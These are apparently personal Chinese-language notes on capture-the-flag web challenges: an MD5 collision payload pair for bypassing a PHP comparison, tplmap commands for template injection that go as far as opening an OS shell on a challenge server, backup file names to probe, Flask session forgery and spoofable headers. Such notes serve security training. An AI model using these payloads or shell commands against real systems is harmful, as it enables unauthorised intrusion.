md5绕过
https://blog.csdn.net/LYJ20010728/article/details/116779357
离线到本地了
MD5强碰撞
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
die("success!);
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
SSTI模板注入
https://blog.csdn.net/weixin_53150482/article/details/125842465
博客已经离线到本地了
一个比较傻瓜
的工具:tplmap
安装教程:https://www.cnblogs.com/ktsm/p/15691652.html
使用方法:
- 探测注入点
python2 tplmap.py -u 'http://114.67.175.224:11338/?flag'
- 获取
shell
python2 tplmap.py -u 'http://114.67.175.224:11338/?flag' --os-shell
拿到权限后,我们就人肉扫一下可能存在的flag
相关文件,然后再做具体分析
有的时候可能文件里面没有什么线索,那就看看env
吧,也许就在里面:
例题:https://buuoj.cn/challenges#[Flask]SSTI
备份文件
.index.php.swp
robots.txt
index.php~
index.php.bak
flask session伪造
https://blog.csdn.net/since_2020/article/details/119543172
已经离线
例题:https://buuoj.cn/challenges#[%E7%AC%AC%E4%B8%80%E7%AB%A0%20web%E5%85%A5%E9%97%A8]afr_3
常用的headers
- Referer
- Origin
- User-Agent
- X-Forwarded-For
- X-Real-IP
- cookie
Web-tool
下载地址:
链接:https://pan.baidu.com/s/10lu7wSBREUa3-NreeOquIw
提取码:sa6d
–来自百度网盘超级会员V3的分享
这个工具包是笔者使用的,里面也包含了一些笔记和资料,有需要的可以下载哦~
以上是关于PHP英文博客专栏PHP快速入门个人笔记的主要内容,如果未能解决你的问题,请参考以下文章
小迪安全 Web安全 基础入门 – 第十三天 – PHP开发 – 个人博客项目&文件操作类&编辑器&上传下载删除读写